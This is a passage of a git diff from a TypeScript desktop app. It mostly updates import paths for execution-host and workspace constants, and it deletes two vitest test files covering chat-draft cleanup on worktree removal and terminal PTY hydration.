type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' import type { WorktreeCatalogVersion } from '../../../../../../shared/worktree/catalog/catalog-version' import { getRepoIdFromWorktreeId } from '../../../../../../shared/worktree/id' diff --git a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-snapshot-prune.ts b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-snapshot-prune.ts index eac97c3feb1..a93b5c44da4 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-snapshot-prune.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/removed-worktree-snapshot-prune.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/identifiers/non-secure-context-uuid' /** Prune remote removals from local cached cleanup snapshots or they reappear on next scan; local main already prunes inline. */ diff --git a/src/renderer/src/store/slices/worktrees/teardown/renderer-remove-worktree-result.ts b/src/renderer/src/store/slices/worktrees/teardown/renderer-remove-worktree-result.ts index 2c3dda4a196..c26a3416fcf 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/renderer-remove-worktree-result.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/renderer-remove-worktree-result.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { RemoveWorktreeResult } from '../../../../../../shared/worktree/create-types' /** Preserved branches carry owner host so later force-delete targets the right multi-host repo. */ diff --git a/src/renderer/src/store/slices/worktrees/teardown/stale-runtime-worktree-rows.ts b/src/renderer/src/store/slices/worktrees/teardown/stale-runtime-worktree-rows.ts index 21eca786d17..6a913904767 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/stale-runtime-worktree-rows.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/stale-runtime-worktree-rows.ts @@ -1,5 +1,5 @@ import { isRemovedRuntimeHostId } from '../../../host-catalog/removed-runtime-host-rows' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type DropRuntimeRowsResult = { rowsByRepo: Record diff --git a/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts b/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts deleted file mode 100644 index e64e43517fd..00000000000 --- a/src/renderer/src/store/slices/worktrees/teardown/workspace-chat-draft-removal.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from 'vitest' -import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status' - -import '../../../../../../shared/execution-host' - -vi.mock('sonner', () => ({ - toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() } -})) -vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({})) - -vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({ - restorePtyDataHandlersAfterFailedShutdown: vi.fn(), - unregisterPtyDataHandlers: vi.fn() -})) -vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => { - const actual = await importOriginal() - return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) } -}) - -const mockApi = { - worktrees: { remove: vi.fn(), updateMeta: vi.fn().mockResolvedValue({}) }, - repos: { removeForHost: vi.fn() }, - folderWorkspaces: { delete: vi.fn() }, - pty: { kill: vi.fn() }, - runtimeEnvironments: { call: vi.fn().mockResolvedValue({ ok: true, result: {} }) } -} -// @ts-expect-error -- minimal window.api stub for the store under test -globalThis.window = { api: mockApi } - -import { createTestStore, seedStore } from '../../../testing/app-store-test-fixture' -import { makeWorktree } from '../worktree.test-fixture' -import { makeTab } from '../../../terminals/testing/terminal-tab.test-fixture' -import { makeTabGroup, makeUnifiedTab } from '../../tabs/tab-group.test-fixture' -import { clearNativeChatComposerDraftsForTests } from '@/components/native-chat/drafts/native-chat-draft-reset' -import { - readNativeChatComposerDraft, - updateNativeChatComposerDraft -} from '@/components/native-chat/drafts/native-chat-composer-draft-store' -import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope' -import { hydrateNativeChatComposerDrafts } from '@/components/native-chat/drafts/native-chat-composer-draft-load' -import { setNativeChatComposerDraftOwnerResolver } from '@/components/native-chat/drafts/native-chat-composer-draft-memory' -import { - addNativeChatPendingAttachment, - clearNativeChatPendingAttachmentsForTests, - settleNativeChatPendingAttachment -} from '@/components/native-chat/attachments/chips/native-chat-pending-attachment-cache' -import { resolveNativeChatDraftOwner } from '@/components/native-chat/drafts/native-chat-draft-owner' - -const WT1 = 'repo1::/path/wt1' -const WT2 = 'repo1::/path/wt2' -const CHAT = structuredAgentSessionDraftScopeKey('session-1') -const PANE = 'tab-wt1:leaf-a' -const OTHER = 'tab-wt2:leaf-a' - -function seedWorkspace(store: ReturnType, workspaceId: string): void { - const chat = makeUnifiedTab({ - id: 'chat-tab', - entityId: 'session-1', - contentType: 'agent-session', - worktreeId: workspaceId, - groupId: 'group-1' - }) - seedStore(store, { - tabsByWorktree: { - [workspaceId]: [makeTab({ id: 'tab-wt1', worktreeId: workspaceId })], - [WT2]: [makeTab({ id: 'tab-wt2', worktreeId: WT2 })] - }, - unifiedTabsByWorktree: { [workspaceId]: [chat] }, - groupsByWorktree: { - [workspaceId]: [ - makeTabGroup({ - id: 'group-1', - worktreeId: workspaceId, - activeTabId: chat.id, - tabOrder: [chat.id] - }) - ] - } - }) - updateNativeChatComposerDraft(CHAT, { text: 'chat' }, 'immediate') - updateNativeChatComposerDraft(PANE, { text: 'pane' }, 'immediate') - updateNativeChatComposerDraft(OTHER, { text: 'other' }, 'immediate') -} - -function seedWorktree(store: ReturnType): void { - seedStore(store, { - worktreesByRepo: { - repo1: [ - makeWorktree({ id: WT1, repoId: 'repo1', path: '/path/wt1' }), - makeWorktree({ id: WT2, repoId: 'repo1', path: '/path/wt2' }) - ] - } - }) - seedWorkspace(store, WT1) -} - -/** A pasted image still uploading in each scope; its chip's id is the scope's. */ -function pasteStillUploading(...scopeKeys: string[]): void { - for (const scopeKey of scopeKeys) { - addNativeChatPendingAttachment(scopeKey, { id: scopeKey, path: '', pending: true }) - } -} - -/** Each upload completes, as one does after its composer is gone; answers which scopes it reached. */ -function uploadsComplete(...scopeKeys: string[]): string[] { - return scopeKeys.filter((scopeKey) => - settleNativeChatPendingAttachment(scopeKey, scopeKey, `/store/${scopeKey}.png`) - ) -} - -function draftImageCount(scopeKey: string): number { - return readNativeChatComposerDraft(scopeKey).images.length -} - -function trackDraftOwners(store: ReturnType): void { - setNativeChatComposerDraftOwnerResolver((scopeKey) => - resolveNativeChatDraftOwner(store.getState(), scopeKey) - ) -} - -describe('workspace chat drafts on removal', () => { - beforeEach(() => { - vi.clearAllMocks() - mockApi.worktrees.remove.mockResolvedValue(undefined) - mockApi.repos.removeForHost.mockResolvedValue(undefined) - clearNativeChatComposerDraftsForTests() - clearNativeChatPendingAttachmentsForTests() - }) - - it('deletes a draft an upload wrote after its chat’s tab closed, by the owner it began in', async () => { - const store = createTestStore() - seedWorktree(store) - trackDraftOwners(store) - const later = structuredAgentSessionDraftScopeKey('session-later') - seedStore(store, { - unifiedTabsByWorktree: { - [WT1]: [ - ...(store.getState().unifiedTabsByWorktree[WT1] ?? []), - makeUnifiedTab({ - id: 'later-tab', - entityId: 'session-later', - contentType: 'agent-session', - worktreeId: WT1, - groupId: 'group-1' - }) - ] - } - }) - // As at startup: the saved drafts have loaded before any upload settles. - await hydrateNativeChatComposerDrafts() - pasteStillUploading(later) - store.getState().closeUnifiedTab('later-tab') - expect(uploadsComplete(later)).toEqual([later]) - - await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true) - - expect(draftImageCount(later)).toBe(0) - }) -}) diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state-types.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state-types.ts index 21a3949bd54..dd213a682b9 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state-types.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { WorktreeForceDeleteReason } from '../../../../../../shared/worktree/removal/removal' import type { Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state.ts index 314297201bd..b6b320c8d2b 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-delete-state.ts @@ -2,7 +2,7 @@ import type { WorktreeDeleteState, WorktreeDeleteStateTarget } from './worktree- import type { WorktreeSlice } from '../worktree-slice-contract' import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { findKnownWorktreeById } from '../listing/detected-worktree-meta' type DeleteStateKeyState = Parameters[0] diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-options.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-options.ts index 8e56f7f8d48..1f495385d6c 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-options.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-options.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { ConfirmedUnsavedDiscards } from './removed-workspace-unsaved-files' import type { NestedWorktreeRemovalApproval } from '../../../../../../shared/worktree/removal/nested-removal' diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-preference.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-preference.ts index 42d67177f7a..687e84c71fc 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-preference.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-removal-preference.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { RemoveWorktreeOptions } from './worktree-removal-options' export function resolveWorktreeRemovalPreference( diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts index d48f4b02e45..f51a05df1e3 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts @@ -1,7 +1,7 @@ import type { TerminalNoticeLifetime } from '@/components/terminal-pane/provider-notices/terminal-notice-lifetime' import { captureWorktreeTerminalNoticeRemoval } from '../../../terminals/retirement/terminal-notice-removal' import type { TerminalTabRetirementState } from '../../../terminals/retirement/terminal-tab-retirement' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { captureWorkspaceChatDraftKeys, deleteWorkspaceChatDraftOwners, diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts index 8079bd7a127..a0d93037b81 100644 --- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts +++ b/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts @@ -1,6 +1,6 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import '../../../../../../shared/constants' +import '../../../../../../shared/orca-profiles/constants' import { makeWorktree } from '../worktree.test-fixture' import { makeCandidate, diff --git a/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts b/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts index dc64a6eafd8..348b7f0cb91 100644 --- a/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts +++ b/src/renderer/src/store/slices/worktrees/worktree-slice-contract.ts @@ -45,7 +45,7 @@ import type { } from '../../../../../shared/worktree/types' import type { WorktreeRemovalTarget } from '../../../../../shared/worktree/removal/removal' import type { TerminalGitHubPRLink } from '../../../../../shared/terminal/links/terminal-github-pr-link-detector' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { TerminalPaneRecoveryOutcome } from '../../../../../shared/workspace-layout/terminal-tab-types' import type { TerminalRecoveryRemountRequest, diff --git a/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts b/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts index 0441e2812e4..8c81eea90eb 100644 --- a/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts +++ b/src/renderer/src/store/slices/worktrees/worktrees-slice-test-harness.ts @@ -12,7 +12,7 @@ import { type RuntimeEnvironmentCallRequest } from '../../../runtime/rpc/testing/runtime-compatibility-test-fixture' import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../../runtime/rpc/compatibility/runtime-compatibility-cache' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { ForgetRemovedWorktreesForExecutionHostArgs, ForgetRemovedWorktreesForExecutionHostResult, diff --git a/src/renderer/src/store/terminals/hydration/terminals-hydration-canonical-pty-overlap.test.ts b/src/renderer/src/store/terminals/hydration/terminals-hydration-canonical-pty-overlap.test.ts deleted file mode 100644 index 16bc48d7712..00000000000 --- a/src/renderer/src/store/terminals/hydration/terminals-hydration-canonical-pty-overlap.test.ts +++ /dev/null @@ -1,124 +0,0 @@ -// Keep this bare import first: it installs the preload-API stub the store imports read at eval time. -import './terminal-hydration-store.test-bootstrap' -import { describe, expect, it, vi } from 'vitest' - -import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' -import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' -import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import '@/lib/workspace/persistence/workspace-session' -import { createTestStore, seedStore } from '../../testing/app-store-test-fixture' -import { makeLayout, makeTab } from '../testing/terminal-tab.test-fixture' -import { makeWorktree } from '../../slices/worktrees/worktree.test-fixture' - -vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } })) -vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({ - scheduleRuntimeGraphSync: vi.fn() -})) -vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({ - registerEagerPtyBuffer: vi.fn(), - ensurePtyDispatcher: vi.fn() -})) - -const WORKTREE_ID = 'repo1::/wt-1' - -function makeCanonicalUnifiedTab(entityId: string, sortOrder: number): Tab { - return { - id: `unified-${entityId}`, - entityId, - groupId: 'group-1', - worktreeId: WORKTREE_ID, - contentType: 'terminal', - label: 'Grok', - customLabel: null, - color: null, - sortOrder, - createdAt: 1 - } -} - -function makeSession(args: { - tabs: TerminalTab[] - layouts: WorkspaceSessionState['terminalLayoutsByTabId'] - remoteSessionIdsByTabId?: Record - canonicalEntityIds: string[] -}): WorkspaceSessionState { - const unifiedTabs = args.canonicalEntityIds.map((entityId, index) => - makeCanonicalUnifiedTab(entityId, index) - ) - return { - ...getDefaultWorkspaceSession(), - activeRepoId: 'repo1', - activeWorktreeId: WORKTREE_ID, - activeWorktreeIdsOnShutdown: [WORKTREE_ID], - tabsByWorktree: { [WORKTREE_ID]: args.tabs }, - terminalLayoutsByTabId: args.layouts, - remoteSessionIdsByTabId: args.remoteSessionIdsByTabId, - unifiedTabs: { [WORKTREE_ID]: unifiedTabs }, - tabGroups: { - [WORKTREE_ID]: [ - { - id: 'group-1', - worktreeId: WORKTREE_ID, - activeTabId: unifiedTabs[0]?.id ?? null, - tabOrder: unifiedTabs.map((tab) => tab.id) - } - ] - } - } -} - -function hydrate(session: WorkspaceSessionState): ReturnType { - const store = createTestStore() - seedStore(store, { - worktreesByRepo: { - repo1: [makeWorktree({ id: WORKTREE_ID, repoId: 'repo1', path: '/wt-1' })] - } - }) - store.getState().hydrateWorkspaceSession(session) - store.getState().hydrateTabsSession(session) - return store -} - -describe('hydrateWorkspaceSession canonical PTY overlap', () => { - it('advertises a retained row’s own PTY after its tab-level id went to the canonical row', async () => { - const sharedPtyId = 'daemon-shared' - const soloPtyId = 'daemon-solo' - const session = makeSession({ - tabs: [ - makeTab({ id: 'canonical-tab', worktreeId: WORKTREE_ID, ptyId: sharedPtyId }), - // tab.ptyId is the shared one, so reconnect skips it; soloPtyId lives only in a leaf binding. - makeTab({ id: 'split-tab', worktreeId: WORKTREE_ID, ptyId: sharedPtyId, sortOrder: 1 }) - ], - layouts: { - 'canonical-tab': { ...makeLayout(), ptyIdsByLeafId: { 'canonical-leaf': sharedPtyId } }, - 'split-tab': { - root: { - type: 'split', - direction: 'vertical', - first: { type: 'leaf', leafId: 'leaf-a' }, - second: { type: 'leaf', leafId: 'leaf-b' } - }, - activeLeafId: 'leaf-a', - expandedLeafId: null, - ptyIdsByLeafId: { 'leaf-a': sharedPtyId, 'leaf-b': soloPtyId } - } - }, - canonicalEntityIds: ['canonical-tab'] - }) - - const store = hydrate(session) - // Anchor the retained leaf-only PTY or orphan sweep deletes the row before its pane can reattach. - - store.getState().reconcileWorktreeTabModel(WORKTREE_ID) - await store.getState().reconnectPersistedTerminals() - - const state = store.getState() - expect(state.tabsByWorktree[WORKTREE_ID]?.map((tab) => tab.id)).toEqual([ - 'canonical-tab', - 'split-tab' - ]) - // Why: liveness reads ptyIdsByTabId; without this the surviving pane's PTY reads as an orphan until mount. - expect(state.ptyIdsByTabId['split-tab']).toEqual([soloPtyId]) - }) -}) diff --git a/src/renderer/src/store/terminals/hydration/workspace-terminal-hydration.ts b/src/renderer/src/store/terminals/hydration/workspace-terminal-hydration.ts index a8836990a18..fc9c4e541f9 100644 --- a/src/renderer/src/store/terminals/hydration/workspace-terminal-hydration.ts +++ b/src/renderer/src/store/terminals/hydration/workspace-terminal-hydration.ts @@ -1,5 +1,5 @@ import { markFullResync } from '@/store/keyed-record-transitions' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { type WorkspaceKey, folderWorkspaceKey, diff --git a/src/renderer/src/store/terminals/hydration/workspace-terminal-placeholders.ts b/src/renderer/src/store/terminals/hydration/workspace-terminal-placeholders.ts index 3e64e2446f0..62f2cd7e884 100644 --- a/src/renderer/src/store/terminals/hydration/workspace-terminal-placeholders.ts +++ b/src/renderer/src/store/terminals/hydration/workspace-terminal-placeholders.ts @@ -1,12 +1,12 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' -import '../../../../../shared/constants' +import '../../../../../shared/orca-profiles/constants' import { DEFAULT_REPO_BADGE_COLOR } from '../../../../../shared/repository/appearance/repo-badge-color' import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { repoRowOwnerStamp } from './workspace-terminal-ssh-placeholders' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { splitWorktreeIdForFilesystem } from '../../../../../shared/worktree/id' diff --git a/src/renderer/src/store/terminals/hydration/workspace-terminal-ssh-placeholders.ts b/src/renderer/src/store/terminals/hydration/workspace-terminal-ssh-placeholders.ts index 3795961a765..a5980778df6 100644 --- a/src/renderer/src/store/terminals/hydration/workspace-terminal-ssh-placeholders.ts +++ b/src/renderer/src/store/terminals/hydration/workspace-terminal-ssh-placeholders.ts @@ -9,7 +9,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, toSshExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' type PlaceholderOwner = Pick diff --git a/src/renderer/src/store/terminals/quick-commands/terminal-quick-command-hosts.ts b/src/renderer/src/store/terminals/quick-commands/terminal-quick-command-hosts.ts index 56ef4e90ef5..80a712fe51f 100644 --- a/src/renderer/src/store/terminals/quick-commands/terminal-quick-command-hosts.ts +++ b/src/renderer/src/store/terminals/quick-commands/terminal-quick-command-hosts.ts @@ -7,7 +7,10 @@ import { parseNormalizedTerminalQuickCommands, type TerminalQuickCommandMutation } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import '../../../../../shared/remote-runtime/protocol/protocol-version' import { TERMINAL_QUICK_COMMANDS_RUNTIME_CAPABILITY } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-capabilities' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' diff --git a/src/renderer/src/store/terminals/retirement/terminal-tab-retirement.ts b/src/renderer/src/store/terminals/retirement/terminal-tab-retirement.ts index be8cb38310d..18781ca58f0 100644 --- a/src/renderer/src/store/terminals/retirement/terminal-tab-retirement.ts +++ b/src/renderer/src/store/terminals/retirement/terminal-tab-retirement.ts @@ -9,7 +9,7 @@ import { resolveTerminalHostOwnership, resolveTerminalPtyOwner } from '@/lib/workspace/ownership/terminal-worktree-route' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isEphemeralSetupTerminalWorktreeId } from '../../../../../shared/workspace-setup/ephemeral-setup-terminal-worktree-id' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { locateTerminalTab } from '../ownership/terminal-tab-location' diff --git a/src/renderer/src/store/terminals/tabs/creation/terminal-active-workspace-creation.ts b/src/renderer/src/store/terminals/tabs/creation/terminal-active-workspace-creation.ts index a3fe6e25b2a..db23af48f91 100644 --- a/src/renderer/src/store/terminals/tabs/creation/terminal-active-workspace-creation.ts +++ b/src/renderer/src/store/terminals/tabs/creation/terminal-active-workspace-creation.ts @@ -1,5 +1,5 @@ import type { TabSplitTarget } from '../../../slices/tabs/tabs-slice-contract' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/workspace/identity/floating-workspace-id' import { parseWorkspaceKey } from '../../../../../../shared/workspace/identity/workspace-scope' import { focusTerminalTabSurface } from '@/components/terminal-pane/input/focus/focus-terminal-tab-surface' import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner' diff --git a/src/renderer/src/store/terminals/terminal-contracts.ts b/src/renderer/src/store/terminals/terminal-contracts.ts index 5d694611294..26d92393db4 100644 --- a/src/renderer/src/store/terminals/terminal-contracts.ts +++ b/src/renderer/src/store/terminals/terminal-contracts.ts @@ -1,6 +1,6 @@ import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent' import type { AgentProviderSessionMetadata } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionHydrationOptions } from '@/lib/workspace/persistence/workspace-session-hydration-keys' import type { HostSessionSlices } from '@/lib/workspace/persistence/workspace-session-host-split' import type { ProjectExecutionRuntimeResolution } from '../../../../shared/execution-host/project-execution-runtime' diff --git a/src/renderer/src/store/terminals/terminal-state.ts b/src/renderer/src/store/terminals/terminal-state.ts index a82f250c91d..0e7f2ffa8da 100644 --- a/src/renderer/src/store/terminals/terminal-state.ts +++ b/src/renderer/src/store/terminals/terminal-state.ts @@ -14,7 +14,7 @@ import type { AgentProviderSessionMetadata, SleepingAgentLaunchConfig } from '../../../../shared/agent-session/lifecycle/agent-session-resume' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { StartupCommandDelivery } from '../../../../shared/agent-launch/startup/codex-startup-delivery' import type { SessionOptionValue } from '../../../../shared/native-chat/input/native-chat-session-options' import type { AgentStartedTelemetry } from '../../lib/workspace/creation/worktree-startup-payload' diff --git a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-slices.ts b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-slices.ts index c7ae4406dc3..5f2e2933741 100644 --- a/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-slices.ts +++ b/src/renderer/src/store/workspace-layout/frames/workspace-layout-frame-slices.ts @@ -1,6 +1,6 @@ // Build main-owned frame slices through Serializer/restore builders (E2a); global selection stays window-owned, remote server workspaces mirror-owned. Sleeping/closed records, default marks and startup reattach remain outside frames. -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import type { CarriedSessionFields, DesktopLayoutView, diff --git a/src/renderer/src/store/workspaces/floating/floating-workspace-panel-selector.ts b/src/renderer/src/store/workspaces/floating/floating-workspace-panel-selector.ts index 7dfab6a250e..e1396457aa0 100644 --- a/src/renderer/src/store/workspaces/floating/floating-workspace-panel-selector.ts +++ b/src/renderer/src/store/workspaces/floating/floating-workspace-panel-selector.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' import type { AppState } from '../../types' diff --git a/src/renderer/src/store/workspaces/floating/floating-workspace-unread-selector.ts b/src/renderer/src/store/workspaces/floating/floating-workspace-unread-selector.ts index 32dd8fcc2ce..1e5dd667d71 100644 --- a/src/renderer/src/store/workspaces/floating/floating-workspace-unread-selector.ts +++ b/src/renderer/src/store/workspaces/floating/floating-workspace-unread-selector.ts @@ -1,6 +1,6 @@ import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' import type { AppState } from '../../types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' const EMPTY_TABS: TerminalTab[] = [] diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin-purge-attribution.test.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin-purge-attribution.test.ts index 4399ac1ed91..2d46109ba5c 100644 --- a/src/renderer/src/store/workspaces/host-isolation/host-twin-purge-attribution.test.ts +++ b/src/renderer/src/store/workspaces/host-isolation/host-twin-purge-attribution.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { hostWorktreeTarget } from '../../../../../shared/worktree/host-qualified-identity' import { buildWorktreePurgeState } from '../../slices/worktrees/teardown/worktree-purge-state' import { createTestStore } from '../../testing/app-store-test-fixture' diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts index 977159ff3ac..2ace80a2dee 100644 --- a/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts +++ b/src/renderer/src/store/workspaces/host-isolation/host-twin-state-projection.test-fixture.ts @@ -1,5 +1,5 @@ /** What one twin owns, read back out of a host-twin fixture's store and module stores. */ -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { readNativeChatComposerDraft, updateNativeChatComposerDraft diff --git a/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts b/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts index 4bc6f6a8546..fd0b35337c3 100644 --- a/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts +++ b/src/renderer/src/store/workspaces/host-isolation/host-twin.test-fixture.ts @@ -15,7 +15,7 @@ import { markHugeRepoWarningDismissed } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals' import type { HugeRepoWarningProbe } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume' diff --git a/src/renderer/src/store/workspaces/selection/active-worktree-deselection-intent.ts b/src/renderer/src/store/workspaces/selection/active-worktree-deselection-intent.ts index 1d0b86855fc..96b7ac123b2 100644 --- a/src/renderer/src/store/workspaces/selection/active-worktree-deselection-intent.ts +++ 